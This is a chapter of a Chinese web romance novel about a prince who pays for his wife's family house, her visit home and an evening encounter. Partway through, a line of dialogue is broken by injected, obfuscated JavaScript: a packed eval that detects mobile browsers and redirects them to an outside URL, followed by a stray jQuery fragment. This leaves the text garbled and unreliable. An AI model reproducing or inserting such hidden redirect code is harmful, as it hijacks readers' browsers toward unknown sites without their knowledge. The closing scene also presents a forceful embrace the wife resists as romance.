“不过什么,拿着!”予翀盯着柳乐动作,仿佛要看看是不是有人胆敢不领情。柳乐拿也不是,放也不是,涨红了脸,方要再设法推却,予翀又说:“总得让我表一表对岳父母的孝敬之意。”
他的语气很随便,可是柳乐从中听出了一点恳切的意思,顿了一顿,轻声道:“殿下的心意我们全家都很明白,但这事由我哥哥办就好了,不然他们会不安。”说着,她又把银票放回桌上。
予翀叹一口气:“你就不怕我不安?女婿不比半个儿子?我也想要为爹娘多多出力,不过现下只能拿出这么一点儿。”
“这是很大一笔钱。”柳乐喃喃道。
予翀笑一笑:“银子容易得来,热热闹闹建个家却不易。岳父母现今住的地方就很好,虽说小些,那几间房舍我看甚是舒适古雅,风水也好。就不说上面房屋,单那块地皮便值不少,将来只会更多——我看不必着急去出售,怪可惜的,雇个人看着屋子又不费什么,来日或有别的用处,或确实用不到,那时再售不迟。”
这席话正正打在柳乐心坎上:她本就舍不得卖掉老宅,哪怕空着不住,知道它在那儿,也是个念想,而且万一将来再有起伏,总还留个退步处。
予翀又说:“钱家手上那所宅子我也见过,前头的主人是礼部尚书,挺方正的一个官儿,倒是的确懂得收拾庭院。若是钱家人自己住进去,那真是糟蹋了,不过他们的价钱定得十分公道合理。我找人估过,七八千,你们没多花钱,卖方也并没吃亏。——不用顾忌,今天二十了,这月就余十天,要你哥哥尽快与人交割明白,立好契书,赶在腊月前搬去。去了不免还要布置一番,忙活上一个月,屋子也住热乎了,园子也熟悉了,安安逸逸过个年,不是正好?”
柳乐听了愈发心动,她想:索性都是借钱,究竟拿他的银子比拿钱家的银子要好;即便他们是双疏离夫妻,总是强过钱鸣和柳图那对酒肉朋友。再说,如此一来,可以保留老宅,父母家人也都能住得舒舒服服,便是别人还犹可,两个小侄儿一定得高兴坏了。孩子一高兴,全家人自然无有不高兴的,如今好好安顿下来,银钱的事总能想法解决。
唯有一点——拿人手软,受了他的银钱,这人的可厌之处似乎消了两分。柳乐偷眼去瞧,这一想,她的面颊不禁又发烫,赶紧移开目光。
她还没开口,予翀又说:“你不肯拿,我只好直接交给你兄长,他定然要来谢一番,我却不愿受——你哥哥那人,我瞧着厌烦,懒得与他打交道。”
柳乐深知柳图——得了银子,他必定要千恩万谢,加上许多吹捧话,说不定得寸进尺,又要求高升——也不愿予翀见他。可毕竟是自家哥哥,这话听着实在难堪。
沉默了一会儿说:“我拿给我哥哥吧,只是将来我必定还你。”
“不要你还。”予翀把银票塞入柳乐的荷包,“你以为还回银子,就与我没牵扯了?日后的牵扯还多呢。还有事要烦你——回头我让人把账簿拿来,以后家里的银钱事宜都交给你。虽然有几个账房管办,要操心处也不少,别人我又不放心,当然是交给自己最亲近的人。你看,夫妻之间哪有那么多见外。何时你也能真的把我视为夫君?”他戏谑道,抬手去握柳乐肩膀。
柳乐一步退开,看予翀脸上并没有露出愠色,忙说:“那我明日去给我哥哥,顺便看看爹娘,可否允我在家——”
“不行。”予翀立即敛住笑,沉下脸,“拿来,还是我去给他。”
“让我去吧,我和爹娘几句话说清楚就回来。”柳乐急忙改口。
“你去了即回,不得耽搁。”
第二日一早,柳乐带着巧莺回柳家。这次不算省亲,不愿大张旗鼓让人知道,两人只乘小小巧巧一辆车,不到巷口就下来静悄悄走进去,也只有两名侍卫跟着。
江岚看女儿突然回家,吓了一跳,柳乐忙解释原委,这才放心。见无人,江岚便将计晨已释放归家,并无大碍,只等年后复官,董素娥登门来谢等事略提了一二句,柳乐也不多问,又去和父亲妹妹等说话不提。等兄长下值,柳乐拿出银票给他,柳图自是大喜过望,一定要亲身去向晋王谢恩,柳乐说:“不必着急,以后见面再说罢。王爷说要尽快立好文契,赶这个月好日子就先搬去。此处屋子也留着别卖,只将些紧要的东西带上就是了。”
“是,是,腊月不搬迁,我明日就告假,赶紧先办了这件大事。搬家的事谁都不用操心,我从衙里唤几个差役帮忙,一定稳稳妥妥的。”柳图满口答应不迭。
见时候不早,柳乐叫一名侍卫先去瞧瞧王爷在不在府里。一时侍卫回来,回复说没见到王爷。柳乐心想何必着急赶回去,又在家里吃了晚饭,上灯时分才辞了家人出门,仍旧在巷子外登车。
等走出一段,她开窗唤车子停下,吩咐说:“送我去街市上转转再回。”且不去附近的街道,怕遇上熟人。车夫不敢违拗,直走了五六里,来到一条卖各样杂货吃食、闹哄哄的小街上。其实柳乐并非真心想逛夜市,多还是为了试探自己出门是个什么情景。她和巧莺两人在街上转来转去,时不时也钻进铺子去瞧瞧,两个侍卫只远远跟着,转了半个时辰,看天实在晚了,方回王府来。
回屋梳洗更衣毕,柳乐打发巧莺去歇息,自己挑了本书,打算看看再睡下,就在这当口,予翀大步迈进来,进门就问:“你跑到哪里去了?”
柳乐忙起身:“我刚刚从我爹娘家里回来。”
“我怎么没看到你?”
柳乐愕然:“殿下去了我家?”
“没进去。”予翀简短地说,“饿得很,不见你回来吃饭,就去瞧了瞧。”
“我没想到殿下会去接我,在家用了饭出来,突然想去夜市逛一会儿,为消消食。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938246|156576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”柳乐不安道,“去了南衡街那里,想是碰巧与殿下走岔了。”
“怎么逛了那么久?又没人跟着。”予翀脸上显出些不高兴的神气。
“两个侍卫一直跟着。”
予翀倒也没追究,又问:“岳父母大人身体可好?”
“都好,谢殿下记挂。”柳乐把回家的情形大致讲了讲,又说已经嘱托了哥哥,如此这般,看予翀并不很注意听,打住话说,“你还没用饭,我再陪你用些。”便招呼丫环摆饭。
予翀向丫环摇摇手:“不吃了,拿热水来。”说着,自往净室去了。
一连数日,柳乐只在半夜醒来时发觉予翀在身边,但入睡和起床的钟点都只有她一人,渐渐已习惯了他的“不碍事”。不想今日他早早就过来,顿觉别别扭扭的,连换了几本书都没看进去,像个不专心的学子,最后只得将自己钉在书案前,勉勉强强往下读。
只读了几句。心里头一半似有好些小人吵架,乱糟糟的静不下来,另一半则飘来飘去,每每要飘到净室那儿,柳乐忙又拽它回来。这么去了四五遭,究竟也没听出那边到底何时没了动静,待要留神细听,看到墙上影子晃动,才发觉予翀已经站在旁边。
她蓦地紧张,埋下头,眼睛在慌乱中只抓住了几个字:“虎豹以炳蔚凝姿①”。
“读的什么?”影子罩下来。
柳乐一把合上书——指望他没发现她才翻过了一页——手举得高高的,把书本举在他面前,但她并没有抬起脸。予翀向封皮扫一眼,又问:“外面冷不冷?”
柳乐心道:你自己也刚从外头回来,反来问我。嘴里却答:“不冷。我看今年冬天是不大冷,屋里也热,该让他们去几只炭盆。”她说着话,又把书翻开,始终不抬头。
“真不冷?”予翀犹不信似的,伸手向她手上试了一试,忽地一使劲,把她拉入怀中,头埋进她的颈窝,含含混混地说,“好些天了,该过去了吧?”
柳乐还不知怎么就这么一霎就和他紧贴着了,方寸大乱,想了一下才明白他问什么。是过去了,可她一急,又想拿它来搪塞,方要开口,他抬起脸,嘴巴落下来。
“不行,我这儿过不去。”他从齿间含混说道。
柳乐心中一片张惶。他那么用力把她压在怀里,臂膀像一副铁甲在她身上箍得很紧,她简直透不过气。不过,她一点儿都没被弄疼。突然之间,他和她分开,向她脸上短短一瞥,随即再次贴紧。
那一闪眼间,柳乐看见了他的样子:他刚刚洗过脸,一绺头发从额前垂到眉尖,如雨后树木的枝桠,闪着湿漉漉的亮光。他的五官本就醒目,仿佛执画笔之人有意将那眉、眼、唇刻画得轮角分明。这时,他的眉宇中有种强劲有力、不可动摇的神采。她急得用勉强还可活动的双手去推他、撼他,但他分毫不可动摇。
虎豹以炳蔚凝姿。